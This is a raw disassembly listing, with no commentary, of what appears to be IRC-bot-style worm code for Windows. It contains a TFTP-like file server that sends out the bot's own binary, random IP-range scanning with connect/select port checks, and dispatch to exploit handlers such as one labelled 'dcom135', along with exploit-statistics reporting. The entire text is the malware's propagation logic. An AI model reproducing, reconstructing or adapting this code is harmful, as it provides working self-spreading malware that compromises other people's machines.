		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_43F534[eax], edi
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	[ebp+var_168]
		call	dword_43A398	; ntohs
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	dword_43A3C4	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406D66
		push	1388h
		call	dword_421060	; Sleep
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_407129
; ---------------------------------------------------------------------------


loc_406D66:				; CODE XREF: sub_406C3E+10Dj
		lea	eax, [ebp+var_378]
		push	offset aRb	; "rb"
		push	eax
		call	sub_415BE8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_406DE4
		push	190h
		call	dword_421060	; Sleep
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_42726C
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_412D4C
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40B16D
		push	[ebp+var_170]
		call	sub_4152AF
		add	esp, 28h
		push	ebx
		call	dword_421048	; ExitThread


loc_406DE4:				; CODE XREF: sub_406C3E+140j
		mov	esi, 200h


loc_406DE9:				; CODE XREF: sub_406C3E+4A5j
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_4070E9
		mov	[ebp+var_880], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_884], 1
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_884]
		push	ebx
		push	eax
		push	ebx
		call	dword_43A380	; select
		test	eax, eax
		jle	loc_4070DD
		mov	al, byte_438FBC
		mov	ecx, edi
		mov	[ebp+var_580], al
		xor	eax, eax
		lea	edi, [ebp+var_57F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	dword_43A370	; recvfrom
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4154E7
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_4070C7
		cmp	[ebp+var_D7], 1
		jnz	loc_407013
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_415CF0
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_D6]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_416ED0
		add	esp, 14h
		test	eax, eax
		jnz	loc_406FCD
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]
		push	eax
		call	sub_416ED0
		add	esp, 10h
		test	eax, eax
		jnz	loc_406FCD
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_416E3E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_57E], bl
		mov	[ebp+var_57D], 1
		call	sub_416BB0
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	edi
		call	dword_43A3FC	; sendto
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset unk_427218


loc_406F81:				; CODE XREF: sub_406C3E+484j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_4154E7
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406FBB
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_412D4C
		add	esp, 14h


loc_406FBB:				; CODE XREF: sub_406C3E+358j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40B16D
		pop	ecx
		jmp	loc_4070DD
; ---------------------------------------------------------------------------


loc_406FCD:				; CODE XREF: sub_406C3E+2B6j
					; sub_406C3E+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_427204
		push	edi
		call	dword_43A3FC	; sendto
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset unk_4271C8
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_40B16D
		add	esp, 14h
		jmp	loc_4070DD
; ---------------------------------------------------------------------------


loc_407013:				; CODE XREF: sub_406C3E+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_4070C7
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+var_D6]
		cmp	cl, 0FFh
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		jnz	short loc_407050
		inc	al
		xor	cl, cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], bl
		jmp	short loc_40705E
; ---------------------------------------------------------------------------


loc_407050:				; CODE XREF: sub_406C3E+3FEj
		inc	cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], cl


loc_40705E:				; CODE XREF: sub_406C3E+410j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_416E3E
		push	[ebp+var_8]


loc_40707B:				; DATA XREF: .nsp0:00424DA8o
					; .nsp0:00424DBCo ...
		lea	eax, [ebp+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_416BB0
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+var_10]
		call	dword_43A3FC	; sendto
		cmp	edi, ebx
		jnz	short loc_4070DD
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_427178
		jmp	loc_406F81
; ---------------------------------------------------------------------------


loc_4070C7:				; CODE XREF: sub_406C3E+268j
					; sub_406C3E+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_42716C
		push	edi
		call	dword_43A3FC	; sendto


loc_4070DD:				; CODE XREF: sub_406C3E+204j
					; sub_406C3E+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_406DE9


loc_4070E9:				; CODE XREF: sub_406C3E+1B4j
		push	edi
		call	dword_43A430	; closesocket
		push	[ebp+var_8]
		call	sub_415B40
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_40711D
		push	[ebp+var_170]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_40711D:				; CODE XREF: sub_406C3E+4CAj
		push	3E8h
		call	dword_421060	; Sleep
		push	esi


loc_407129:				; CODE XREF: sub_406C3E+123j
		call	sub_406C3E
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406C3E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407135	proc near		; CODE XREF: sub_40CE55+5799p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_4276DC
		push	eax
		xor	ebx, ebx
		call	sub_4154E7
		cmp	dword_427338, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_4071A3
		push	esi
		mov	esi, offset dword_427340


loc_407168:				; CODE XREF: sub_407135+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416F10
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_407168
		pop	esi


loc_4071A3:				; CODE XREF: sub_407135+2Bj
		push	dword_468818
		call	sub_40A9B2
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416F10
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B16D
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_407135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4071FF	proc near		; CODE XREF: sub_40CE55+5106p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jle	short loc_40723B
		mov	eax, [ebp+arg_C]
		push	dword_438FE8[eax*8]
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_427748
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		jmp	short loc_40724E
; ---------------------------------------------------------------------------


loc_40723B:				; CODE XREF: sub_4071FF+13j
		lea	eax, [ebp+var_200]
		push	offset unk_427714
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx


loc_40724E:				; CODE XREF: sub_4071FF+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B16D
		add	esp, 18h
		leave
		retn
sub_4071FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407276	proc near		; CODE XREF: sub_40799F+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_407606
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	dword_427344[eax], ebx
		jz	loc_4074E7
		push	4
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jnz	loc_407606
		mov	eax, dword_42C188
		push	edi
		mov	edi, offset dword_439964
		push	104h
		push	edi
		push	ebx
		mov	dword_439B74, eax
		mov	dword_439B70, ebx
		call	dword_42107C	; GetModuleFileNameA
		push	103h
		mov	esi, offset dword_439A68
		push	offset byte_42C1FC
		push	esi
		call	sub_416D40
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_439960, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_439BF8, eax
		jnz	short loc_407329
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_439B78
		call	sub_416D40
		add	esp, 0Ch
		mov	dword_439BFC, 1
		jmp	short loc_407343
; ---------------------------------------------------------------------------


loc_407329:				; CODE XREF: sub_407276+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_439B78
		call	sub_416D40
		add	esp, 0Ch
		mov	dword_439BFC, ebx


loc_407343:				; CODE XREF: sub_407276+B1j
		push	esi
		push	edi
		push	dword_439B74
		lea	eax, [ebp+var_204]
		push	offset unk_4278F4
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	dword_439B6C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_439960
		push	offset sub_406C3E
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, dword_439B6C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_4073B2


loc_4073A0:				; CODE XREF: sub_407276+13Aj
		cmp	dword_439C00, ebx
		jnz	short loc_4073CD
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_4073A0
; ---------------------------------------------------------------------------


loc_4073B2:				; CODE XREF: sub_407276+128j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4278AC
		push	eax
		call	sub_4154E7
		add	esp, 0Ch


loc_4073CD:				; CODE XREF: sub_407276+130j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40B16D
		mov	edi, offset dword_439FBC
		mov	[esp+210h+var_210], 104h
		push	edi
		push	ebx
		mov	dword_43A1C8, ebx
		call	dword_42107C	; GetModuleFileNameA
		push	103h
		mov	esi, offset dword_43A0C0
		push	offset byte_42C1FC
		push	esi
		call	sub_416D40
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_439FB8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_43A250, eax
		jnz	short loc_407448
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43A1D0
		call	sub_416D40
		add	esp, 0Ch
		mov	dword_43A254, 1
		jmp	short loc_407462
; ---------------------------------------------------------------------------


loc_407448:				; CODE XREF: sub_407276+1B3j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_43A1D0
		call	sub_416D40
		add	esp, 0Ch
		mov	dword_43A254, ebx


loc_407462:				; CODE XREF: sub_407276+1D0j
		push	esi
		push	edi
		push	dword_43A1CC
		lea	eax, [ebp+var_204]
		push	offset dword_427858
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	dword_43A1C4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_439FB8
		push	offset sub_405409
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, dword_43A1C4
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_4074D6


loc_4074C0:				; CODE XREF: sub_407276+25Ej
		cmp	dword_43A258, ebx
		jnz	loc_4075F9
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_4074C0
; ---------------------------------------------------------------------------


loc_4074D6:				; CODE XREF: sub_407276+248j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_427814
		jmp	loc_4075EA
; ---------------------------------------------------------------------------


loc_4074E7:				; CODE XREF: sub_407276+25j
		cmp	dword_427348[eax], ebx
		jz	loc_407606
		push	3
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jnz	loc_407606
		mov	esi, offset dword_439E94
		push	104h
		push	esi
		push	ebx
		call	dword_42107C	; GetModuleFileNameA
		push	5Ch
		push	esi
		call	sub_417040
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_407525
		mov	[eax], bl


loc_407525:				; CODE XREF: sub_407276+2ABj
		mov	eax, dword_42C18C
		mov	dword_439FAC, ebx
		mov	dword_439F98, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_439C0C
		call	sub_4154E7
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_439C08, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_439F98
		mov	dword_439FA4, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_439FA8, ecx
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4277C4
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	dword_439FA0, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_439C08
		push	offset sub_405B23
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, dword_439FA0
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_4075DE


loc_4075CC:				; CODE XREF: sub_407276+366j
		cmp	dword_439FB4, ebx
		jnz	short loc_4075F9
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_4075CC
; ---------------------------------------------------------------------------


loc_4075DE:				; CODE XREF: sub_407276+354j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42777C


loc_4075EA:				; CODE XREF: sub_407276+26Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch


loc_4075F9:				; CODE XREF: sub_407276+250j
					; sub_407276+35Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40B16D
		pop	ecx


loc_407606:				; CODE XREF: sub_407276+14j
					; sub_407276+35j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_407276	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40760A	proc near		; CODE XREF: sub_40778B:loc_4077FCp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:438FE8h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_43A2CC	; ntohl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_43A394	; ntohl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_4155D0
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40760A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407652	proc near		; CODE XREF: sub_40778B+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_415CF0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40767A
		xor	eax, eax
		jmp	short loc_4076EB
; ---------------------------------------------------------------------------


loc_40767A:				; CODE XREF: sub_407652+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_416AA0
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_4076A7
		call	sub_415543
		mov	[ebp+var_C], eax


loc_4076A7:				; CODE XREF: sub_407652+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_4076B4
		call	sub_415543
		mov	[ebp+var_8], eax


loc_4076B4:				; CODE XREF: sub_407652+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_4076C1
		call	sub_415543
		mov	[ebp+var_4], eax


loc_4076C1:				; CODE XREF: sub_407652+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_4076CD
		call	sub_415543


loc_4076CD:				; CODE XREF: sub_407652+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_438FE8[ecx*8], eax


loc_4076EB:				; CODE XREF: sub_407652+26j
		pop	esi
		leave
		retn
sub_407652	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4076EE	proc near		; CODE XREF: sub_40778B+B8p
					; sub_412B98+30p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_43A418	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_407717
		xor	eax, eax
		jmp	short loc_407786
; ---------------------------------------------------------------------------


loc_407717:				; CODE XREF: sub_4076EE+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_43A398	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43A434	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_43A340	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_43A380	; select
		push	esi
		mov	edi, eax
		call	dword_43A430	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_407786:				; CODE XREF: sub_4076EE+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4076EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40778B	proc near		; DATA XREF: sub_40799F+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415539
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_4077D2:				; CODE XREF: sub_40778B+200j
		mov	eax, dword_43F52C[ebx]
		cmp	dword_438FEC[eax*8], 0
		jz	loc_407990
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_4077FC
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_407652
		pop	ecx
		jmp	short loc_407801
; ---------------------------------------------------------------------------


loc_4077FC:				; CODE XREF: sub_40778B+60j
		call	sub_40760A


loc_407801:				; CODE XREF: sub_40778B+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43F52C[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_427990
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43F328[ebx]
		push	eax
		call	sub_4154E7
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_4076EE
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_407980
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_4078D5
		push	offset dword_439948
		call	dword_4210B4	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_427954
		push	eax
		call	sub_4154E7
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_4078B7
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_4078AB
		lea	eax, [ebp+var_140]


loc_4078AB:				; CODE XREF: sub_40778B+118j
		push	eax
		push	[ebp+var_40]
		call	sub_412D4C
		add	esp, 14h


loc_4078B7:				; CODE XREF: sub_40778B+FDj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_40B16D
		mov	[esp+2A8h+var_2A8], offset dword_439948
		call	dword_4210B0	; RtlLeaveCriticalSection
		jmp	loc_407980
; ---------------------------------------------------------------------------


loc_4078D5:				; CODE XREF: sub_40778B+CDj
		push	edi
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4154E7
		mov	eax, [ebp+var_20]
		imul	eax, 3Ch
		add	eax, offset aDcom135_0 ; "dcom135"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_4154E7
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_407919
		lea	eax, [ebp+var_140]


loc_407919:				; CODE XREF: sub_40778B+186j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_4154E7
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	off_42733C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_407980:				; CODE XREF: sub_40778B+C3j
					; sub_40778B+145j
		push	7D0h
		call	dword_421060	; Sleep
		jmp	loc_4077D2
; ---------------------------------------------------------------------------


loc_407990:				; CODE XREF: sub_40778B+55j
		push	esi
		call	sub_4152AF
		pop	ecx
		push	0
		call	dword_421048	; ExitThread
sub_40778B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40799F	proc near		; DATA XREF: sub_40CE55+31D4o
					; sub_40CE55+4D64o

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_43A3D8	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_438FE8[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_407276
		push	8
		call	sub_4151DB
		add	esp, 150h
		cmp	eax, ebx
